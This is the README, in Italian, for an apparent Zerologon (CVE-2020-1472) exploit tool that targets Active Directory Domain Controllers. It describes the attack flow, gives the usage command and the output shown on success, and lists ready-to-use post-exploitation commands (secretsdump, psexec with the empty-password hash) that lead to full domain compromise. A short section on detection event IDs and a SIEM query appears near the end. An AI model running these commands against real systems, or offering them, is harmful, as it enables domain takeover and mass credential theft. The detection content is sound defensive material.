
Zerologon (CVE-2020-1472) applicazione Proof-of-Concept - strumento per lo sfruttamento di una vulnerabilità critica di Active Directory.
Questo progetto è un'implementazione della vulnerabilità Zerologon (CVE-2020-1472), una delle vulnerabilità più critiche per la sicurezza di Active Directory. Questa vulnerabilità consente a un attaccante non autenticato di compromettere l'intero dominio Active Directory reimpostando la password dell'account macchina del Domain Controller.
Zerologon è un difetto crittografico nel Netlogon Remote Protocol (MS-NRPC) di Microsoft. La vulnerabilità risiede nel modo in cui Netlogon utilizza la crittografia AES-CFB8 con un vettore di inizializzazione (IV) hardcoded pari a zero.
Riepilogo tecnico:
1. Target Selection
└─> Identify Domain Controller (FQDN, NetBIOS name, machine account)
2. Challenge Phase (I_NetServerReqChallenge)
└─> Send all-zero client challenge (0x0000000000000000)
└─> Receive server challenge
3. Authentication Phase (I_NetServerAuthenticate2)
└─> Attempt authentication with null credentials
└─> Repeat until successful (~1/256 success rate per attempt)
4. Password Reset Phase (I_NetServerPasswordSet2)
└─> Reset DC machine account password to empty
└─> New NT hash: 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password)
5. Post-Exploitation
└─> Use Pass-the-Hash with empty credentials
└─> Full domain compromise achieved
Con Visual Studio:
1. Open Visual Studio
2. Select **Build Solution** from the **Build** menu.
Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
Esempio:
Zerologon.exe DC01.corp.example.com DC01 DC01$
DC_FQDN: Nome di dominio completo (FQDN) del Domain Controller targetDC_NetBIOS_Name: Nome NetBIOS del DC (di solito hostname)Machine_Account_Name: Nome dell'account macchina (deve terminare con $)Sfruttamento riuscito:
[+] Targeting Domain Controller:
FQDN : DC01.corp.example.com
NetBIOS Name : DC01
Machine Account: DC01$
[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
Sfruttamento fallito (sistema patchato):
[-] Attack failed after 2000 attempts. Target likely patched.
Dopo aver reimpostato con successo la password del DC, è possibile:
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
Rilevamento di rete:
Rilevamento basato sui log:
Event Viewer → Windows Logs → System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset
Query SIEM:
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
Questo strumento è fornito esclusivamente a scopo educativo e per ricerca sulla sicurezza autorizzata.
L'autore non si assume alcuna responsabilità per l'uso improprio di questo codice.
Questo progetto è concesso in licenza sotto la MIT License. Per maggiori informazioni, consulta il file LICENSE.